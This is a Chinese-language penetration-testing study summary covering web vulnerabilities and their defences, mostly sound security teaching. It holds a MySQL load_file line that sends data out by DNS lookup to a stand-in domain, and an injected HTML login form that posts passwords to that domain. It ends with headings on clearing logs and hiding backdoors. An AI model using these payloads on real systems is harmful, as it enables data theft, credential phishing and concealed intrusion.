渗透测试简单总结
web请求基本概念
- 请求行
- Request-Line = Method SP Request-URI SP HTTP-Version CRLF
- 请求头
- 常见请求头
- 不同请求头取值的特殊含义
- 请求体
- 二进制文件上传的编码方式
- (响应)状态行
- status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF
- 响应头
- 响应体
常见漏洞
- 脆弱的访问控制
- 认证和会话管理缺陷
- 文件包含
- XXE注入
- 反序列化漏洞
- 第三方组件缺陷
特性被滥用或无用导致的【漏洞】
- 文件上传
- XXE
- 文件包含
- 反序列化
常见的输入篡改攻击
- 强制浏览
- 命令注入
- 跨站脚本攻击
- 缓冲区溢出攻击
- 格式化字符串攻击
- SQL注入
- Cookie毒化
- 隐藏域控制
输入篡改攻击的成因
- 只在客户端进行输入验证
- 过滤时未进行规范化
- 过滤后引入新的漏洞
安全加固方案
-
所有用户输入需要在服务器端进行集中的统一验证
- HTTP请求行
- HTTP请求头
- HTTP请求体
-
代码复查
-
不要“滥用”隐藏域
- 存储在Session中或从每次请求中获取参数值
-
请求参数需要严格的验证其类型
- 数据类型(string、integer,real,etc...)
- 最小和最大长度
- 是否运训null
- 参数是否是必须的
- 数字的取值范围
- 特定模式(正则表达式)
- 白名单机制
-
服务器返回给客户端的重要参数、赋值使用HMAC进行参数签名
- 千万不要使用MD5、SHA-xxx之类的摘要算法对参数进行摘要计算,也不要使用基于“秘密盐值”的MD5、SHA-xxx之类的摘要算法对参数进行摘要计算
- [HASH长度扩展攻击可以用来伪造消息和对应散列值][https://ciphersaw.me/2017/11/12/Hash Length Extension Attack(哈希长度扩展攻击)/]
- 对客户端提交的请求校验关键逻辑代码中的参数,一旦
消息完整性签名校验失败,说明客户端尝试篡改请求参数攻击,代码逻辑直接跳过后续业务逻辑代码,给客户端返回统一的错误信息
- 千万不要使用MD5、SHA-xxx之类的摘要算法对参数进行摘要计算,也不要使用基于“秘密盐值”的MD5、SHA-xxx之类的摘要算法对参数进行摘要计算
-
对每个需要验证的请求进行检查,不仅是在用户第一次登录请求时进行检查
-
避免使用自己开发的访问控制,而是使用开发框架内置或第三方可靠安全访问控制框架
- 采用声明式而非硬编码的访问控制
- 集中化访问控制而非分散访问控制
-
防止客户端缓存重要内容:设置HTTP响应头和
HTML meta标签 -
在服务器端使用操作系统提供的访问控制保护文件的未经授权的访问
-
业务模型的访问控制授权建模
- 访问控制权限划分的三角形基本法则
-
平行权限访问
- 属主权限检查
-
提升权限访问
- 使用ACL
会话攻击
-
会话预测(Session Prediction)指的是攻击者可以【预测】出服务端的合法【会话令牌】,从而达成身份冒用的效果。
-
会话劫持(Session Hijacking)可以通过中间人劫持攻击或跨站点脚本攻击方式拿到用于会话唯一标识的【会话令牌】
-
会话偷渡(Session Riding)是
跨站请求伪造(CSRF)的另一种表述 -
攻击者不需要克隆受害用户的会话,攻击者一次会话头东攻击只是借用受害用户保存在客户端的【会话令牌】执行一次受害用户不知情的认证会话操作,攻击者对于受害用户使用的【会话令牌】具体是什么并不知情。
文件上传漏洞
- 对于某些类型文件
- 禁用上传目录的脚本执行权限
以Apache为例,可以使用.htaccess,但是使用.htaccess防御文件上传漏洞存在副作用,攻击者上传精心构造的.htaccess来使得[上传目录]下对特定文件类型开启脚本解释执行功能。
- 即使
- 检查是否判断了上传文件类型及后缀
- 定义上传文件类型白名单
- 文件上传目录禁止脚本解析
- 仍然推荐
- 定义文件名白名单
- 上传后统一重命名
- 杜绝XSS漏洞、文件包含漏洞、字符编码漏洞...
文件包含漏洞
C语言头文件
python import的模块或包
......
- 插件功能需要【动态加载执行代码】
- 当攻击者可以控制【加载什么代码】的时候,就触发了
文件包含漏洞 - 几乎所有脚本语言都会提供文件包含功能,但PHP语言由于其过于灵活和自由的代码执行继指导致了大多数文件包含类漏洞都是出现在PHP编写的网站程序之中。
PHP文件包含漏洞
- include()
- require()
- include_once()
- require_once()
上述四个PHP函数都可以传入【变量】来动态加载PHP源代码文件。且既可以是【本地文件】,也可以是【远程文件】。
PHP本地文件包含执行代码不依赖于修改PHP的默认运行时配置即可完成认以PHP代码执行。
通过文件上传漏洞上传恶意脚本文件,通过文件包含漏洞去执行脚本。
将恶意脚本文件保存到某个网址下面,通过文件包含漏洞去执行该脚本。
防御PHP文件包含漏洞
- 修改PHP的运行时配置文件
php.ini- 开启
open basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问 -
allow_url_include=Off禁止远程文件包含 - 从代码级别避免及修复文件包含漏洞
- 过滤文件包含路径变量的输入,采用白名单方式包含文件
- 建议禁止从外部输入读取包含文件的路径
- 开启
XXE漏洞
-
XML代码中包含了加载外部资源的【恶意变量声明】 - 服务端代码在解析
XML代码时无限制解析【恶意变量】声明语句 - 【恶意变量】的值被回显
XXE漏洞危害
- 敏感数据泄露(任意文件读取)
- 拒绝服务攻击
- 服务端请求伪造
- 远程代码执行
- 执行应用程序托管服务器的网络端口扫描
python XML解析器其他漏洞类型
序列化
序列化是将应用程序对象状态转换为二进制数据或文本数据的过程。
反序列化则是其逆向过程,即从二进制数据或文本数据创建对象状态。
应用程序使用该功能来支持有效共享或存储对象状态。
变化的是数据,类和方法存在于后端代码中。
反序列化应用场景
- 分布式系统的【远程过程调用】,传参:通过网络传输【对象】
- 游戏的进度存档(序列化)与读档(反序列化)
反序列化漏洞
- 攻击者通过创建恶意的反序列化对象,在应用程序执行序列化时,远程执行代码和篡改数据。
- 使用不可信来源的对象序列化的分布式应用程序和API特别容易受到反序列化攻击。
案例:[python编写的SQL注入自动化利用神奇Sqlmap存在的Pickle反序列化漏洞导致代码执行报告][https://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/]
PHP对象序列化基本概念
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
不要被不可打印字符欺骗了
- protected属性字段age左边的
*(2a)字符的左右两边被不可打印字符\00包围 - private属性字段
mobile左边拼接了字符串\00User\00,其中User是类名
序列化规律
-
<对象标识>:<类名长度>:"类名":类的成员变量个数O:4:"User":3:{
-
<成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值>;s:6:"\00*\00age";i:18;
-
<成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值长度>:<成员变量值>;s:4:"name";s:9:"zhangsan";
-
<成员变量类型>:<成员变量名长度>:<成员变量名>":<成员变量值长度>:<成员变量值>;s:12:"\00User\00moblie";s:11:"1330000000";}
反序列化漏洞防御方案
-
将应用程序配置为不接受不可信来源的任何反序列化输入
-
仅使用具有基本数据类型的序列化函数(如PHP的json_encode()和json_decode())
-
如果这些措施不可行,那么在创建对象之前执行反序列化期间应强制约束类型,在较低特权环境(例如,临时容器)中运行反序列化,并限制与执行反序列化的服务器的网络连接。
-
同时还可以通过使用加密或完整性检查(例如,数字前面),防止恶意的对象创建和数据篡改操作。
第三方组件
所有web应用程序(甚至操作系统)都依靠由第三方开发和提供的各种软件组件,包括开源组件和商用组件。
延伸到供应链安全
- 开发环节:软硬件开发环境、开发工具、第三方库等。
- 交付环节:下载、安装光盘、应用商店等。
- 使用环节:软件升级、维护等。
SQL注入漏洞发现与利用
- 确认漏洞注入点存在
- 有报错回显
- 枚举/猜解:列数、数据库版本、表名、列名你个、具体值
- 无报错回显 -> SQL盲注
- 利用SQL代码延迟执行时间差
- 利用SQL代码执行返回结果差异制造页面渲染结果差别
- 有报错回显
SQL注入攻击与危害
- 越权读取数据
- 绕过访问控制
- 篡改数据
- 写文件
- 读文件
- 代码执行
SQL注入防御
- 代码级别一劳永逸
- 使用预编译SQL语句
- 纵深防御措施
- 最小化数据连接权限
- 输入数据白名单
- 缓解措施
- 使用Web应用防火墙(WAF)
命令注入
- 有时也被称为代码注入,SQL注入本身就是一种特殊的命令注入:针对SQL服务器的命令注入。
shell命令注入漏洞的代码防御级别
- 输入数据过滤
- shell命令过滤(escapeshellcmd)
- shell命令参数过滤(escapehellarg)
过滤是把双刃剑
- 多次过滤导致输入的参数又变成了可执行的命令
SSRF漏洞
文件包含、XXE漏洞、反序列化漏洞都可以用来构造和触发SSRF,这就是典型的【组合漏洞】和【链式漏洞】利用。
严格来说,SSRF不是一种独立漏洞类型,而是一种漏洞利用类型。
curl 支持的协议非常广泛,如果服务端存在curl命令调用的用户输入的场景,非常危险!!!
另类SSRF
-
除了文件读取时容易造成SSRF漏洞(例如文档、图片、音视频处理等在接受文件路径输入参数时很可能同时支持本地和网络协议URL)
-
数据库的一些内置功能(家在网络地址时会自动对其中包含的域名字段进行DNS查询),也会被利用在SQL注入的过程中获取数据。
SQL注入过程中的SSRF
以sqlmap为例,在其众多数据获取技巧中提供了一个命令行参数--dns-domain就是实现了利用SQL数据库在执行一些特定函数时会对其中传入的参数当作域名进行查询这个特性的基于DNS的带外数据回传。
select load_file(concat(\'\\\\\'), version, \'.xxx.com\\1.txt\')
成功执行上述SQL代码会在xxx.com的DNS解析服务器上留下一条DNS查询记录。
- 需要注意的是,MySQL的全局配置参数
secure_file_priv的设定会影响到load_file()是否解析参数中包含的域名- 5.7.16之前独立安装包版本或5.7.5之前所有版本的
secure_file_priv缺省设置均为空,则上述攻击代码能得手 - 但如果设置为NULL则会禁用文件读取操作,如果设置为制定目录,则只能从制定目录读取文件
- 5.7.16之前独立安装包版本或5.7.5之前所有版本的
XSS攻击
离开JavaScript也能来一次XSS攻击,基于页面篡改。
<div>
<form action="xxx.com/1.php">用户名<input name="a"><br/>密码<input name="b" type="password"><br/><input type=submit value=登陆>
</div>
在绝大多数情况下,XSS中都会包含JavaScript代码,以完成更高级的漏洞利用效果
- 从攻击者角度看XSS
- 发现和验证XSS的存在性虽然容易,但只是第一步
- 和谐完美利用达到最大化漏洞利用效果非常不容易
- 工具党的福音,BeEF,The Browser Exploitation Framework
防御XSS
-
服务端脚本在【输出】数据时,要进行【转义】操作
-
【输出】数据的【转义】要按内容是HTML还是JavaScript进行区别操作
- 对于HTML的输出转义应使用
htmlspecialchar()函数(且大多数情况下应在第二个参数设置ENT_QUOTES来转义单引号) - 对于JavaScript的输出转义,特别是涉及到JavaScript变量的过滤仅仅使用htmlspecialchars()是不够的,很多RESTful接口应用还会使用
json_encode()去处理服务端输出给客户端的JavaScript变量值
- 对于HTML的输出转义应使用
-
在客户端脚本中尽可能使用
innerText()之类的函数来过滤服务端脚本对客户端变量的赋值 -
联合现代浏览器的客户端安全机制,共同对抗XSS
- 在服务端输出HTML时,加上
Content Security Policy的HTTP响应头 - 低版本可能不支持,但是某些低版本浏览器支持一些自定义HTTP响应头X-XSS-Protection来限制家在执行不可信脚本
- 在设置Cookie时,加上HttpOnly参数避免关键Cookie字段被脚本访问
- 在服务端输出HTML时,加上
CSRF描述
- 从名称上来看类似跨站点攻击,但实质上完全不同:
- XSS是滥用用户对Web站点的信任
- CSRF是滥用Web站点对其授权用户的信任
- 伪装成来自受信任站点的合法用户
- 有时也被称为会话劫持攻击
- 典型案例
- 诱骗用户访问一个图片源标记为恶意请求链接的页面,从而触发一个异步的恶意远程调用
- 接受受信任并且通过验证的用户的输入但并不检查数据的来源地址
CSRF漏洞攻击流程
- 受害者登录a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。
与XSS的联系
- 跨站点请求伪造通常伴随XSS漏洞利用过程
- 现有XSS,再有CSRF
- 借助XSS漏洞获得在用户浏览器执行脚本的机会
- 没有XSS,一样可以有CSRF
- 借助已通过网站认证和获得授权的用户浏览器会话
- 假借用户的合法cookie
- 借助已通过网站认证和获得授权的用户浏览器会话
- 一个URL即可出发一次CSRF
防御CSRF
-
对
HTTP Header中的referer字段进行验证-
HTTP Header字段记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站- 只需要对于每一个POST请求验证其Referer值,如果是来源于【受信任】域名的请求,则接受
- 如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求
-
-
在POST请求中添加token作为参数并验证
- 这种安全策略背各种Web框架广泛采用
- CSRF漏洞能够被利用的主要原因就是用户的全部验证信息均保存在Cookie中,攻击者可以在不接触到Cookie的的前提下完成身份验证
- 只需要在请求中设置一个攻击者所无法伪造的、不可预测的token,且保证这个token与Cookie是毫无关联的
- 此外,还应保证这个token是独立且不重复使用的
- 在服务端验证用户身份时,应同时对Cookie及token进行验证
- 这个token被称为
csrftoken,在HTML的表单中,该字段的输入域网网是隐藏的
- 这个token被称为
-
在HTTP头中自定义属性并验证
- 自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到
HTTP Header中自定义的属性里 - 当前一种方法实现不便的情况下,可以采用这种安全策略进行系统加固。
- 自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到
-
添加验证码并验证
- 可以在表单中增加随机验证码,采用强制用户与Web应用进行交互的方式防止CSRF攻击
- 登陆验证、交易等针对危险操作的接口
- 但强制所有请求都是用验证码往往也是不现实的
- 在实战中,Web程序往往采用在POST请求中添加token作为参数并验证的方法作为防止CSRF漏洞的安全策略
- 禁止将
csrftoken作为GET参数进行请求,防止请求地址呗记录到浏览器的地址栏,也防止token通过Referer泄漏到其他网站。
- 禁止将
- 可以在表单中增加随机验证码,采用强制用户与Web应用进行交互的方式防止CSRF攻击
以上四种防御方法通常是组合使用,而不是单一应用。
Web服务器URI解析类漏洞
CVE-2013-4547 Nginx文件名解析逻辑漏洞
目录遍历或信息泄漏(被枚举探测存在性)
- 微软DOS时代设计的针对长文件名的自动缩短
8.3命名规则,超过部分用~取代。 - 上述CVE漏洞就可以导致Web服务器将非脚本文件扩展名对应的文件当作服务端脚本解析并执行
防御Web服务器URI解析类漏洞
- 升级版本
- 根据官方通告打补丁
- 部署防火墙、HIDS、WAF等来缓解。
访问痕迹清理
- 系统日志
- 删除临时文件
- 后门隐藏
- 后门软件隐藏
- 后门进程隐藏
- 后门账户隐藏
- 后门端口隐藏